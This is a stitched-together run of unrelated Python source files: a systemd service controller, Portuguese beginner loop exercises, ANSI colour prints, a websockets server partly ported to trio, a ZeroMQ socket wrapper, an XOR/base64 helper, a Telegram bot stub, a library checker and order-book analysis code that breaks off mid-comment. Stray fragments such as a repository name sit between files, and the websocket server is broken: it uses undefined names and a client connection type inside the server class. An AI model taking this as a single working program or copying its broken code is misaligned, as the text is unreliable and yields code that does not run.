service_command["enabled"] is None: pass elif service_command["enabled"]: cmd = f"sudo systemctl enable {service['command']}" ret = await self.run_command(cmd) if ret: service_command["enabled"] = True else: service_command["enabled"] = None else: cmd = f"sudo systemctl disable {service['command']}" ret = await self.run_command(cmd) if ret: service_command["enabled"] = False else: service_command["enabled"] = None if service_command["running"] is None: pass elif service_command["running"]: cmd = f"sudo systemctl start {service['command']}" ret = await self.run_command(cmd) if ret: service_command["running"] = True else: service_command["running"] = None else: cmd = f"sudo systemctl stop {service['command']}" ret = await self.run_command(cmd) if ret: service_command["running"] = False else: service_command["running"] = None if not self.using_dbus: await self._get_service_status(service, service_command) async def get_service_status(self, root, info, **kwargs): application_log.debug(f"get_service_status {kwargs}") service_command = {} service_command["name"] = kwargs.get("name", "").lower() service_command["category"] = kwargs.get("category", "").lower() services = self.filter_services(service_command) if not services: return await self.call_get_service_status(services, service_command) async def call_get_service_status( self, services, service_command, check_enabled=True ): service_tasks = [] for service in services: service_tasks.append( asyncio.create_task( self._get_service_status( service, copy.deepcopy(service_command), check_enabled=check_enabled, ) ) ) await asyncio.gather(*service_tasks, return_exceptions=True) async def _get_service_status(self, service, service_command, check_enabled=True): service_command["name"] = service["service_name"] service_command["displayName"] = service["service_display_name"] service_command["displayCategory"] = service["category_display_name"] service_command["category"] = service["category_name"] service_command["running"] = service.get("running", None) service_command["enabled"] = service.get("enabled", None) if not self.using_dbus: cmd = f"systemctl --no-pager status {service['command']}" ret = await self.run_command(cmd) if ret: service_command["running"] = True else: service_command["running"] = False self.services[service["path"]]["running"] = service_command["running"] if check_enabled: cmd = f"systemctl is-enabled {service['command']}" ret = await self.run_command(cmd) if ret: service_command["enabled"] = True else: service_command["enabled"] = False self.services[service["path"]]["enabled"] = service_command["enabled"] update_time = int(time.time()) self.services[service["path"]]["last_update"] = update_time service_command["updateTime"] = update_time self.emit_subscription(service_command) async def run_command(self, cmd): if cmd: try: ret = await asyncio.wait_for( ProcessRunner(cmd).run(shell=True), self.process_runner_timeout ) if ret == 0: return True else: return False except asyncio.TimeoutError: application_log.warning( f"A timeout occurred while running service command: {cmd}" ) return None else: application_log.warning(f"Not able to run service command: {cmd}") return None def emit_subscription(self, service_command): self.subscriptions.emit( self.subscription_string + self.service_command_name, {self.service_command_name: service_command}, ) def sub_service_status(self, root, info): return SimplePubSubIterator( self.subscriptions, self.subscription_string + self.service_command_name, ) async def get_service_status_list(self, root, info, **kwargs): await self.call_get_service_status( [self.services[service] for service in self.services], {}, check_enabled=True, ) service_list = [] for service in self.services: service_status = { "name": self.services[service]["service_name"], "displayName": self.services[service]["service_display_name"], "category": self.services[service]["category_name"], "displayCategory": self.services[service]["category_display_name"], "enabled": self.services[service]["enabled"], "running": self.services[service]["running"], "updateTime": self.services[service]["last_update"], } self.emit_subscription(service_status) service_list.append(service_status) return {"services": service_list} '''for c in range (1, 10): print(c) print('FIM') c = 1 while c < 11 : print(c) c = c + 1 print('FIM') for c in range (1 , 5): n=int(input('Digite um valor: ')) print('FIM') r = 'S' while r == 'S': n = int(input('Digite um valor: ')) r =str(input('Quer continuar digite S ou N: ').upper()) print('FIM') n = 1 p = 0 i = 0 while n != 0: n = int(input('Digite um valor: ')) if n != 0: if n % 2 == 0: p += 1 else: i += 1 print('Você digitou {} pares e {} impares.'.format(p, i)) print('FIM') from time import sleep c = 1 while True: print(c, ' ', end='') c += 1 sleep(1) print('FIM')''' print('\033[30m-\033[m'*30,'30') print('\033[31m-\033[m'*30,'31') print('\033[32m-\033[m'*30,'32') print('\033[33m-\033[m'*30,'33') print('\033[34m-\033[m'*30,'34') print('\033[35m-\033[m'*30,'35') print('\033[36m-\033[m'*30,'36') print('\033[37m-\033[m'*30,'37') """ The :mod:`websockets.server` module defines a simple WebSocket server API. """ import collections.abc import logging import sys import functools import trio from wsproto.extensions import PerMessageDeflate from .exceptions import ( InvalidHandshake, AbortHandshake ) from .protocol import WebSocketCommonProtocol __all__ = ['serve', 'unix_serve', 'WebSocketServerProtocol'] logger = logging.getLogger(__name__) class WebSocketServerProtocol(WebSocketCommonProtocol): """ Complete WebSocket server implementation as an :class:`asyncio.Protocol`. This class inherits most of its methods from :class:`~websockets.protocol.WebSocketCommonProtocol`. For the sake of simplicity, it doesn't rely on a full HTTP implementation. Its support for HTTP responses is very limited. """ is_client = False side = 'server' def __init__(self, ws_handler, *, origins=None, extensions=None, subprotocols=None, extra_headers=None, **kwds): self.wsproto = WSConnection( ConnectionType.CLIENT, host=host, extensions=extensions, subprotocols=subprotocols ) self.ws_handler = ws_handler self.origins = origins # TODO: make those properties reading from wsconnection self.available_extensions = extensions self.available_subprotocols = subprotocols self.extra_headers = extra_headers super().__init__(**kwds) async def read_http_request(self): """ Read request line and headers from the HTTP request. Raise :exc:`~websockets.exceptions.InvalidMessage` if the HTTP message is malformed or isn't an HTTP/1.1 GET request. Don't attempt to read the request body because WebSocket handshake requests don't have one. If the request contains a body, it may be read from ``self.reader`` after this coroutine returns. """ try: path, headers = await read_request(self.reader) except ValueError as exc: raise InvalidMessage("Malformed HTTP message") from exc self.path = path self.request_headers = build_headers(headers) self.raw_request_headers = headers return path, self.request_headers async def write_http_response(self, status, headers, body=None): """ Write status line and headers to the HTTP response. This coroutine is also able to write a response body. """ self.response_headers = build_headers(headers) self.raw_response_headers = headers # Since the status line and headers only contain ASCII characters, # we can keep this simple. response = [ 'HTTP/1.1 {value} {phrase}'.format( value=status.value, phrase=status.phrase)] response.extend('{}: {}'.format(k, v) for k, v in headers) response.append('\r\n') response = '\r\n'.join(response).encode() self.writer.write(response) if body is not None: self.writer.write(body) async def process_request(self, path, request_headers): """ Intercept the HTTP request and return an HTTP response if needed. ``request_headers`` are a :class:`~http.client.HTTPMessage`. If this coroutine returns ``None``, the WebSocket handshake continues. If it returns a status code, headers and a optionally a response body, that HTTP response is sent and the connection is closed. The HTTP status must be a :class:`~http.HTTPStatus`. HTTP headers must be an iterable of ``(name, value)`` pairs. If provided, the HTTP response body must be :class:`bytes`. (:class:`~http.HTTPStatus` was added in Python 3.5. Use a compatible object on earlier versions. Look at ``SWITCHING_PROTOCOLS`` in ``websockets.compatibility`` for an example.) This method may be overridden to check the request headers and set a different status, for example to authenticate the request and return ``HTTPStatus.UNAUTHORIZED`` or ``HTTPStatus.FORBIDDEN``. It is declared as a coroutine because such authentication checks are likely to require network requests. """ def process_origin(self, get_header, origins=None): """ Handle the Origin HTTP request header. Raise :exc:`~websockets.exceptions.InvalidOrigin` if the origin isn't acceptable. """ origin = get_header('Origin') if origins is not None: if origin not in origins: raise InvalidOrigin(origin) return origin @staticmethod def process_extensions(headers, available_extensions): """ Handle the Sec-WebSocket-Extensions HTTP request header. Accept or reject each extension proposed in the client request. Negotiate parameters for accepted extensions. Return the Sec-WebSocket-Extensions HTTP response header and the list of accepted extensions. Raise :exc:`~websockets.exceptions.InvalidHandshake` to abort the handshake with an HTTP 400 error code. (The default implementation never does this.) :rfc:`6455` leaves the rules up to the specification of each :extension. To provide this level of flexibility, for each extension proposed by the client, we check for a match with each extension available in the server configuration. If no match is found, the extension is ignored. If several variants of the same extension are proposed by the client, it may be accepted severel times, which won't make sense in general. Extensions must implement their own requirements. For this purpose, the list of previously accepted extensions is provided. This process doesn't allow the server to reorder extensions. It can only select a subset of the extensions proposed by the client. Other requirements, for example related to mandatory extensions or the order of extensions, may be implemented by overriding this method. """ response_header = [] accepted_extensions = [] header_values = headers.get_all('Sec-WebSocket-Extensions') if header_values is not None and available_extensions is not None: parsed_header_values = sum([ parse_extension_list(header_value) for header_value in header_values ], []) for name, request_params in parsed_header_values: for extension_factory in available_extensions: # Skip non-matching extensions based on their name. if extension_factory.name != name: continue # Skip non-matching extensions based on their params. try: response_params, extension = ( extension_factory.process_request_params( request_params, accepted_extensions)) except NegotiationError: continue # Add matching extension to the final list. response_header.append((name, response_params)) accepted_extensions.append(extension) # Break out of the loop once we have a match. break # If we didn't break from the loop, no extension in our list # matched what the client sent. The extension is declined. # Serialize extension header. if response_header: response_header = build_extension_list(response_header) else: response_header = None return response_header, accepted_extensions # Not @staticmethod because it calls self.select_subprotocol() def process_subprotocol(self, headers, available_subprotocols): """ Handle the Sec-WebSocket-Protocol HTTP request header. Return Sec-WebSocket-Protocol HTTP response header, which is the same as the selected subprotocol. """ subprotocol = None header_values = headers.get_all('Sec-WebSocket-Protocol') if header_values is not None and available_subprotocols is not None: parsed_header_values = sum([ parse_subprotocol_list(header_value) for header_value in header_values ], []) subprotocol = self.select_subprotocol( parsed_header_values, available_subprotocols, ) return subprotocol @staticmethod def select_subprotocol(client_subprotocols, server_subprotocols): """ Pick a subprotocol among those offered by the client. If several subprotocols are supported by the client and the server, the default implementation selects the preferred subprotocols by giving equal value to the priorities of the client and the server. If no subprotocols are supported by the client and the server, it proceeds without a subprotocol. This is unlikely to be the most useful implementation in practice, as many servers providing a subprotocol will require that the client uses that subprotocol. Such rules can be implemented in a subclass. """ subprotocols = set(client_subprotocols) & set(server_subprotocols) if not subprotocols: return None priority = lambda p: ( client_subprotocols.index(p) + server_subprotocols.index(p)) return sorted(subprotocols, key=priority)[0] async def handshake(self, origins=None, available_extensions=None, available_subprotocols=None, extra_headers=None): """ Perform the server side of the opening handshake. If provided, ``origins`` is a list of acceptable HTTP Origin values. Include ``''`` if the lack of an origin is acceptable. If provided, ``available_extensions`` is a list of supported extensions in the order in which they should be used. If provided, ``available_subprotocols`` is a list of supported subprotocols in order of decreasing preference. If provided, ``extra_headers`` sets additional HTTP response headers. It can be a mapping or an iterable of (name, value) pairs. It can also be a callable taking the request path and headers in arguments. Raise :exc:`~websockets.exceptions.InvalidHandshake` if the handshake fails. Return the path of the URI of the request. """ path, request_headers = await self.read_http_request() # Hook for customizing request handling, for example checking # authentication or treating some paths as plain HTTP endpoints. early_response = await self.process_request(path, request_headers) if early_response is not None: raise AbortHandshake(*early_response) get_header = lambda k: request_headers.get(k, '') key = check_request(get_header) self.origin = self.process_origin(get_header, origins) extensions_header, self.extensions = self.process_extensions( request_headers, available_extensions) protocol_header = self.subprotocol = self.process_subprotocol( request_headers, available_subprotocols) response_headers = [] set_header = lambda k, v: response_headers.append((k, v)) is_header_set = lambda k: k in dict(response_headers).keys() if extensions_header is not None: set_header('Sec-WebSocket-Extensions', extensions_header) if self.subprotocol is not None: set_header('Sec-WebSocket-Protocol', protocol_header) if extra_headers is not None: if callable(extra_headers): extra_headers = extra_headers(path, self.raw_request_headers) if isinstance(extra_headers, collections.abc.Mapping): extra_headers = extra_headers.items() for name, value in extra_headers: set_header(name, value) if not is_header_set('Server'): set_header('Server', USER_AGENT) build_response(set_header, key) await self.write_http_response( SWITCHING_PROTOCOLS, response_headers) self.connection_open() return path async def websocket_server_handler(stream, protocol_factory): """ Handle the lifecycle of a WebSocket connection. Since this method doesn't have a caller able to handle exceptions, it attemps to log relevant ones and close the connection properly. """ protocol = protocol_factory() try: try: path = await protocol.handshake( origins=protocol.origins, available_extensions=protocol.available_extensions, available_subprotocols=protocol.available_subprotocols, extra_headers=protocol.extra_headers, ) except ConnectionError as exc: logger.debug( "Connection error in opening handshake", exc_info=True) raise except Exception as exc: if isinstance(exc, AbortHandshake): early_response = ( exc.status, exc.headers, exc.body, ) # elif isinstance(exc, InvalidOrigin): # logger.debug("Invalid origin", exc_info=True) # early_response = ( # FORBIDDEN, # [], # (str(exc) + "\n").encode(), # ) # elif isinstance(exc, InvalidUpgrade): # logger.debug("Invalid upgrade", exc_info=True) # early_response = ( # UPGRADE_REQUIRED, # [('Upgrade', 'websocket')], # (str(exc) + "\n").encode(), # ) # elif isinstance(exc, InvalidHandshake): # logger.debug("Invalid handshake", exc_info=True) # early_response = ( # BAD_REQUEST, # [], # (str(exc) + "\n").encode(), # ) else: logger.warning("Error in opening handshake", exc_info=True) early_response = ( 500, [], b"See server log for more information.\n", ) await protocol.write_http_response(*early_response) await protocol.fail_connection() raise try: await protocol.ws_handler(self, path) except Exception as exc: if protocol._is_server_shutting_down(exc): if not protocol.closed: protocol.fail_connection(1001) else: logger.error("Error in connection handler", exc_info=True) if not protocol.closed: protocol.fail_connection(1011) raise try: await protocol.close() except ConnectionError as exc: logger.debug( "Connection error in closing handshake", exc_info=True) raise except Exception as exc: if not protocol._is_server_shutting_down(exc): logger.warning("Error in closing handshake", exc_info=True) raise except Exception: raise finally: # Unregister the connection with the server when the handler task # terminates. Registration is tied to the lifecycle of the handler # task because the server waits for tasks attached to registered # connections before terminating. #protocol.ws_server.unregister(self) pass class Serve: """ Create, start, and return a :class:`WebSocketServer`. :func:`serve` returns an awaitable. Awaiting it yields an instance of :class:`WebSocketServer` which provides :meth:`~websockets.server.WebSocketServer.close` and :meth:`~websockets.server.WebSocketServer.wait_closed` methods for terminating the server and cleaning up its resources. On Python ≥ 3.5, :func:`serve` can also be used as an asynchronous context manager. In this case, the server is shut down when exiting the context. :func:`serve` is a wrapper around the event loop's :meth:`~asyncio.AbstractEventLoop.create_server` method. Internally, it creates and starts a :class:`~asyncio.Server` object by calling :meth:`~asyncio.AbstractEventLoop.create_server`. The :class:`WebSocketServer` it returns keeps a reference to this object. The ``ws_handler`` argument is the WebSocket handler. It must be a coroutine accepting two arguments: a :class:`WebSocketServerProtocol` and the request URI. The ``host`` and ``port`` arguments, as well as unrecognized keyword arguments, are passed along to :meth:`~asyncio.AbstractEventLoop.create_server`. For example, you can set the ``ssl`` keyword argument to a :class:`~ssl.SSLContext` to enable TLS. The ``create_protocol`` parameter allows customizing the asyncio protocol that manages the connection. It should be a callable or class accepting the same arguments as :class:`WebSocketServerProtocol` and returning a :class:`WebSocketServerProtocol` instance. It defaults to :class:`WebSocketServerProtocol`. The behavior of the ``timeout``, ``max_size``, and ``max_queue``, ``read_limit``, and ``write_limit`` optional arguments is described in the documentation of :class:`~websockets.protocol.WebSocketCommonProtocol`. :func:`serve` also accepts the following optional arguments: * ``origins`` defines acceptable Origin HTTP headers — include ``''`` if the lack of an origin is acceptable * ``extensions`` is a list of supported extensions in order of decreasing preference * ``subprotocols`` is a list of supported subprotocols in order of decreasing preference * ``extra_headers`` sets additional HTTP response headers — it can be a mapping, an iterable of (name, value) pairs, or a callable taking the request path and headers in arguments. * ``compression`` is a shortcut to configure compression extensions; by default it enables the "permessage-deflate" extension; set it to ``None`` to disable compression Whenever a client connects, the server accepts the connection, creates a :class:`WebSocketServerProtocol`, performs the opening handshake, and delegates to the WebSocket handler. Once the handler completes, the server performs the closing handshake and closes the connection. When a server is closed with :meth:`~websockets.server.WebSocketServer.close`, all running WebSocket handlers are cancelled. They may intercept :exc:`~asyncio.CancelledError` and perform cleanup actions before re-raising that exception. If a handler started new tasks, it should cancel them as well in that case. Since there's no useful way to propagate exceptions triggered in handlers, they're sent to the ``'websockets.server'`` logger instead. Debugging is much easier if you configure logging to print them:: import logging logger = logging.getLogger('websockets.server') logger.setLevel(logging.ERROR) logger.addHandler(logging.StreamHandler()) """ def __init__(self, ws_handler, host=None, port=None, *, path=None, create_protocol=None, timeout=10, max_size=2 ** 20, origins=None, extensions=None, subprotocols=None, extra_headers=None, compression='deflate', ssl=None): if create_protocol is None: create_protocol = WebSocketServerProtocol if compression == 'deflate': if extensions is None: extensions = [] if not any( extension_factory.name == PerMessageDeflate.name for extension_factory in extensions ): extensions.append(PerMessageDeflate( client_max_window_bits=True, )) elif compression is not None: raise ValueError("Unsupported compression: {}".format(compression)) self.factory = lambda: create_protocol( ws_handler, host=host, port=port, secure=ssl, timeout=timeout, max_size=max_size, origins=origins, extensions=extensions, subprotocols=subprotocols, extra_headers=extra_headers, ) self._port = port self._host = host self.path = path self.ssl = ssl async def __aenter__(self): return (await self) async def __aexit__(self, exc_type, exc_value, traceback): # self.ws_server.close() # await self.ws_server.wait_closed() pass async def connect(self): if self.path: # TODO: bring back support for sockets pass else: if self.ssl: listeners = await trio.open_ssl_over_tcp_listeners(self._port, self.ssl, host=self._host) else: listeners = await trio.open_tcp_listeners(self._port, host=self._host) await trio.serve_listeners( functools.partial(websocket_server_handler, protocol_factory=self.factory), listeners) def __await__(self): yield from self.connect().__await__() def unix_serve(ws_handler, path, **kwargs): """ Similar to :func:`serve()`, but for listening on Unix sockets. This function calls the event loop's :meth:`~asyncio.AbstractEventLoop.create_unix_server` method. It is only available on Unix. It's useful for deploying a server behind a reverse proxy such as nginx. """ return serve(ws_handler, path=path, **kwargs) serve = Serve # # Copyright (c) 2014-present, Facebook, Inc. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals from __future__ import division import zmq from openr.utils import serializer, consts # enumeration of socket status class SocketStatus: connected, binded, idle = range(3) class Socket(): def __init__(self, zmq_ctx, socket_type, timeout=consts.Consts.TIMEOUT_MS, proto_factory=consts.Consts.PROTO_FACTORY): ''' Initialize socket ''' self.zmq_ctx = zmq_ctx self.socket_type = socket_type self.timeout = timeout self.proto_factory = proto_factory self._status = SocketStatus.idle self._socket = self.zmq_ctx.socket(self.socket_type) self._socket.set(zmq.IPV6, 1) self._socket.set(zmq.LINGER, 0) def _config_socket(self, socket_url, method): options = {'connect': [self._socket.connect, SocketStatus.connected], 'bind': [self._socket.bind, SocketStatus.binded]} try: options[method][0](socket_url) self._status = options[method][1] return self._socket except Exception as ex: raise Exception("Failed {}ing: {}".format(method, ex)) def connect(self, socket_url): ''' Connect socket ''' if self._status == SocketStatus.binded: raise Exception("Socket is not allowed to connect after binding") return self._config_socket(socket_url, 'connect') def bind(self, socket_url): ''' Bind socket ''' if self._status == SocketStatus.connected: raise Exception("Socket is not allowed to bind after connecting") return self._config_socket(socket_url, 'bind') def recv(self): ''' Receives data on socket with a timeout to avoid infinite wait. ''' if self._socket is None: raise Exception('Socket is not set') if self.timeout != -1: self._socket.poll(self.timeout, zmq.POLLIN) return self._socket.recv(zmq.NOBLOCK) else: return self._socket.recv() def recv_thrift_obj(self, thrift_type): ''' Receive on socket with or without a timeout and deserialize to thrift_type ''' raw_msg = self.recv() return serializer.deserialize_thrift_object(raw_msg, thrift_type, self.proto_factory) def send(self, data): ''' send binary data on socket ''' try: self._socket.send(str(data)) except Exception as ex: raise Exception("Failed sending message: {}".format(ex)) def send_thrift_obj(self, thrift_obj): ''' Serialize thrift object and send to socket ''' raw_msg = serializer.serialize_thrift_object(thrift_obj, self.proto_factory) try: self._socket.send(raw_msg) except Exception as ex: raise Exception("Failed sending message: {}".format(ex)) def set_sock_opt(self, opt, value): ''' set default socket options for socket ''' self._socket.setsockopt(opt, value) def get(self): ''' get raw socket ''' return self._socket def close(self): ''' Close socket ''' self._socket.close() # Import modules from base64 import b64encode from base64 import b64decode # Xor def xor(text, key): out = '' for i in range(len(text)): current = text[i] current_key = key[i % len(key)] out += chr(ord(current) ^ ord(current_key)) return out # Encode : [text => xor => base64] def encode(text, key): return b64encode(xor(text, key).encode("utf-8")).decode() # Decode : [xor => base64 => text] def decode(text, key): return xor(b64decode(text).decode(), key) ea1giy/EmergencyBot from telegram.ext import Updater, CommandHandler import logging logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.DEBUG) def start(update, context): context.bot.send_message(chat_id=update.effective_chat.id, text="This is just a test") def emergencia(update, context): # Notificar emergencia a personal de guardia # Solo puede ser activado por los administradores del grupo context.bot.send_message(chat_id=update.effective_chat.id, text="Emergencia") def cuadrante(update, context): # Menu para la modificación y consulta del cuadrante context.bot.send_message(chat_id=update.effective_chat.id, text="Cuadrante") def modificar_cuadrante(update, context): # Sección para modificar los horarios del cuadrante. context.bot.send_message(chat_id=update.effective_chat.id, text="modificar cuadrante") def consultar_cuadrante(update, context): # Consulta o descarga de cuadrante actual context.bot.send_message(chat_id=update.effective_chat.id, text="consultar cuadrante") def main(): updater = Updater(token='token', use_context=True) dp = updater.dispatcher # Registro de los diferentes comandos del bot. dp.add_handler(CommandHandler('start', start)) dp.add_handler(CommandHandler('emergencia', emergencia)) dp.add_handler(CommandHandler('cuadrante', cuadrante)) dp.add_handler(CommandHandler('Modificar', modificar_cuadrante)) dp.add_handler(CommandHandler('Consultar', consultar_cuadrante)) # Iniciar bot en modo temporizado updater.start_polling() updater.idle() # Iniciar bot en modo Webhooks if __name__ == "__main__": main() 1-10 #!/usr/bin/env python # # LibraryPackage # # Packages that are global system libraries e.g. X11 # # Author - 2014-02-23 <> : First revision #################################################################################################### import package import os import logging logger = logging.getLogger(__name__) class LibraryPackage(package.Package): """ Packages that are global system commands :param _libraries: list of libraries :param _headers: list of headers with extension :param _flags: list of flags :param _config: config command """ def __init__(self, name, system, repository, libraries=None, headers=None, flags=None, config=None): """ Construct the package with a *name* and the *system* installation information. This package is a *library* with *headers* and *flags* OR a *config* command with *headers* to find the library and flags. :param string name: name of this package. :param system: class that manages system commands :type system: :class:`nusoft.system.System` instance :param repository: local name of the repository the package is from :param libraries: list of libraries :param headers: list of headers with extension :param flags: list of flags :param config: config command """ super(LibraryPackage, self).__init__(name, system, repository) self._libraries = [] self._headers = [] self._flags = [] if libraries is not None: self._libraries = ["-l" + library for library in libraries] if headers is not None: self._headers = headers if flags is not None: self._flags = flags self._config = config def check_state(self): """ Try to find the location of the config command first (if specified) and use it to find the library and headers. If not just try compiling against the library with the headers..""" if self._config is not None: result = self._system.execute("which", [self._config]) logger.debug("Command which gives config location at %r" % result[1]) if result[1] is None or result[1] == "" or result[1] == "\n": return # Is not installed. output = self._system.execute(self._config, ['--libs']) self._libraries = output[1].strip('\n').split() output = self._system.execute(self._config, ['--cflags']) self._flags = output[1].strip('\n').split() if self._system.compilation_test(self._headers, self._libraries + self._flags): self._installed = True import json import operator import os import datetime import time import copy class OrderBookItem(object): def __init__(self, price=0, aggregate_quantity=0, number_of_orders=0, price_level=0, update_action=0, seq=0): self.price = price self.aggregate_quantity = aggregate_quantity self.number_of_orders = number_of_orders self.seq = seq self.price_level = price_level self.update_action = update_action # def __init__(self): # self.price = 0 # self.aggregate_quantity = 0 # self.number_of_orders = 0 # self.seq = 0 # self.price_level = 0 # self.update_action = 0 def __cmp__(self, other): if self.price < other.price: return -1 if self.price > other.price: return 1 if self.aggregate_quantity < other.aggregate_quantity: return -1 if self.aggregate_quantity > other.aggregate_quantity: return 1 if self.number_of_orders < other.number_of_orders: return -1 if self.number_of_orders > other.number_of_orders: return 1 if self.price_level < other.price_level: return -1 if self.price_level > other.price_level: return 1 return 0 def __eq__(self, other): if isinstance(other, self.__class__): r = (self.price == other.price) and \ (self.aggregate_quantity == other.aggregate_quantity) and \ (self.number_of_orders == other.number_of_orders) and \ (self.price_level == other.price_level) return r else: return False def order_book_to_dict(obj): if isinstance(obj, OrderBookItem): return [obj.price, obj.aggregate_quantity, obj.number_of_orders, obj.price_level] else: return None class OrderBookAnalysis(object): """分析摆盘""" def __init__(self): self.opend_dict = dict() self.server_dict = dict() self.error_times = 0 self.diff_result = list() self.ask_server_dict = dict() self.bid_server_dict = dict() self.ask_old_ten_order_books = list() self.bid_old_ten_order_books = list() def compare_item(self, source, target): if isinstance(source, dict) and isinstance(target, dict): source_items = source["items"] target_items = target["items"] elif isinstance(source, list) and isinstance(target, list): source_items = source target_items = target else: return False if len(source_items) != len(target_items): return False if len(source_items) == 0: return True for i in range(len(source_items)): source_item = source_items[i] target_item = target_items[i] if source_item != target_item: return False return True def trim_opend_items(self, items, millis): result_lists = list() price_level = 1 for item in items: if len(item) != 3: continue price = int(float(item[0])*1000) aggregate_quantity = item[1] number_of_orders = item[2] order_book_item = OrderBookItem(price, aggregate_quantity, number_of_orders, price_level, 0, millis) result_lists.append(order_book_item) price_level = price_level + 1 return result_lists def analysis_opend_json(self, file_path): """从log里面找出关键数据""" self.opend_dict.clear() for line in open(file_path, "r+"): line = line.strip() json_to_python = json.loads(line) content = json_to_python["content"] millis = json_to_python["millis"] un_time = int(millis / 1000) code = content["code"] bid_groups = content["Bid"] ask_groups = content["Ask"] ask_items = self.trim_opend_items(ask_groups, millis) bid_items = self.trim_opend_items(bid_groups, millis) if code not in self.opend_dict: self.opend_dict[code] = dict() self.opend_dict[code]["ask"] = list() self.opend_dict[code]["bid"] = list() self.opend_dict[code]["ask"].append({"seq": millis, "time": un_time, "items": ask_items}) self.opend_dict[code]["bid"].append({"seq": millis, "time": un_time, "items": bid_items}) self.trim_items(self.opend_dict["HK.00700"]["ask"]) def save_opend_dict(self, file_path, stock_code): f = open(file_path + "_ask.txt", 'w') ask_items = self.trim_items(self.opend_dict[stock_code]["ask"]) for item in ask_items: f.write(json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace(' ', '') + "\n") f.close() f = open(file_path + "_bid.txt", 'w') bid_items = self.trim_items(self.opend_dict[stock_code]["bid"]) for item in bid_items: f.write(json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace(' ', '') + "\n") f.close() def analysis_server_json(self, file_path, stock_code): """初始化代码""" self.ask_old_ten_order_books = list() self.bid_old_ten_order_books = list() for i in range(10): self.ask_old_ten_order_books.append(OrderBookItem()) self.bid_old_ten_order_books.append(OrderBookItem()) self.ask_server_dict = dict() self.bid_server_dict = dict() self.server_dict[stock_code] = dict() self.server_dict[stock_code]["ask"] = list() self.server_dict[stock_code]["bid"] = list() ask_ten_order_book = list() bid_ten_order_book = list() for line in open(file_path, "r+"): line = line.strip() json_to_python = json.loads(line) seq = int(json_to_python["SeqNum"]) send_time = json_to_python["SendTime"] dtime = datetime.datetime.strptime(send_time, "%Y-%m-%d %H:%M:%S") un_time = int(time.mktime(dtime.timetuple())) for item in json_to_python["BookEntries"]: price = item["Price"] aggregate_quantity = item["AggregateQuantity"] number_of_orders = item["NumberOfOrders"] price_level = item["PriceLevel"] update_action = item["UpdateAction"] order_book_item = OrderBookItem(price, aggregate_quantity, number_of_orders, price_level, update_action, seq) side = item["Side"] ten_order_books = self.rebuld_server_ten_order(order_book_item, side) if side == 0: bid_ten_order_book = ten_order_books else: ask_ten_order_book = ten_order_books self.server_dict[stock_code]["ask"].append({"seq": seq, "time": un_time, "items": copy.deepcopy(ask_ten_order_book)}) self.server_dict[stock_code]["bid"].append({"seq": seq, "time": un_time, "items": copy.deepcopy(bid_ten_order_book)}) def rebuld_server_ten_order(self, order_book_item, side, step_price=200): if side == 0: step_price = -step_price ten_order_books = self.bid_old_ten_order_books server_dict = self.bid_server_dict else: ten_order_books = self.ask_old_ten_order_books server_dict = self.ask_server_dict update_action = order_book_item.update_action has_find = False for i in range(len(ten_order_books)): item = ten_order_books[i] if item.price == order_book_item.price: if update_action == 0 or update_action == 1: ten_order_books[i] = order_book_item elif update_action == 2: ten_order_books[i].aggregate_quantity = 0 ten_order_books[i].number_of_orders = 0 has_find = True server_dict[order_book_item.price] = order_book_item if not has_find: ten_order_books.append(order_book_item) ten_order_books.sort(reverse=(side == 0), key=lambda t: t.price) # if side == 1 and order_book_item.price_level != 1: # f = open("d:\\temp_ask.txt", 'w') # for item in ten_order_books: # f.write( # json.dumps(item, indent=4, default=order_book_to_dict).replace('\n', '').replace('\t', '').replace( # ' ', '') + "\n") # f.close() new_ten_order_books = list() #重建一个新的列表，剔除掉开头为空的元素 for item in ten_order_books: if item.aggregate_quantity != 0: new_ten_order_books.append(copy.copy(item)) """可能有删成了空的情况""" if len(new_ten_order_books) == 0: first_price = 0 else: first_price = new_ten_order_books[0].price for i in range(10): price = first_price + step_price * i price_level = i + 1 # 不足10个就填满 if i > len(new_ten_order_books) - 1: item = OrderBookItem(price, 0, 0, price_level, 0, 0) new_ten_order_books.append(item) else: item = new_ten_order_books[i] if item.price != price: #需要补齐的 item = OrderBookItem(price, 0, 0, price_level, 0, 0) new_ten_order_books.insert(i, item) item.price = price item.price_level = price_level """重新找回老的值，有些可能被挤掉了""" if item.aggregate_quantity == 0 and (price in server_dict): m = server_dict[price] if m.update_action != 2: item.aggregate_quantity = m.aggregate_quantity item.number_of_orders = m.number_of_orders item.seq = m.seq """裁剪掉多于的元素""" if len(new_ten_order_books) > 10: for i in range(len(new_ten_order_books) - 10): new_ten_order_books.pop(10) if side == 0: self.bid_old_ten_order_books = new_ten_order_books else: self.ask_old_ten_order_books = new_ten_order_books return new_ten_order_books # # def update_server_ten_order(self, ten_order_books, side, step_price=200): # if side == 0: # step_price = -step_price # if len(ten_order_books) == 0: # return # first_price = ten_order_books[0].price # order_books_len = len(ten_order_books) # # if first_price == 0: # return # # for i in range(10): # price = first_price + step_price * i # price_level = i + 1 # # # 不足10个就填满 # if i > order_books_len - 1: # ten_order_books.append(OrderBookItem(price, 0, 0, price_level, 0, 0)) # else: # order_item = ten_order_books[i] # # if order_item.price != price: # has_empty = False # if side == 0 and order_item.price < price: #bid是逐个减小的 # has_empty = True # elif side == 1 and order_item.price > price:#ask是逐个增大的 # has_empty = True # if has_empty: # ten_order_books.insert(i, OrderBookItem(price, 0, 0, price_level, 0, 0)) # continue # order_item.aggregate_quantity = 0 # # order_item.price = price # order_item.price_level = price_level # # if len(ten_order_books) > 10: # for i in range(len(ten_order_books) - 10): # ten_order_books.pop(10) # # def trim_server_ten_order(self, ten_order_book, order_book_item, side): # price_index = order_book_item.price_level - 1 # update_action = order_book_item.update_action # self.update_server_ten_order(ten_order_book, side) # # # if update_action == 0: # # ten_order_book.insert(price_index, order_book_item) # # if update_action == 1 or update_action == 0: # #港交所给的PriceLevel根本靠不住!!!!! # if ten_order_book[price_index].price != order_book_item.price: # find_price = False # for i in range(10): # if i >= len(ten_order_book): # break # if ten_order_book[i].price == order_book_item.price: # ten_order_book[i] = order_book_item # find_price = True # break # if not find_price: # is_bigger = (order_book_item.price > ten_order_book[0].price) # if is_bigger and side == 0: # ten_order_book.insert(0, order_book_item) # elif not is_bigger and side == 1: # 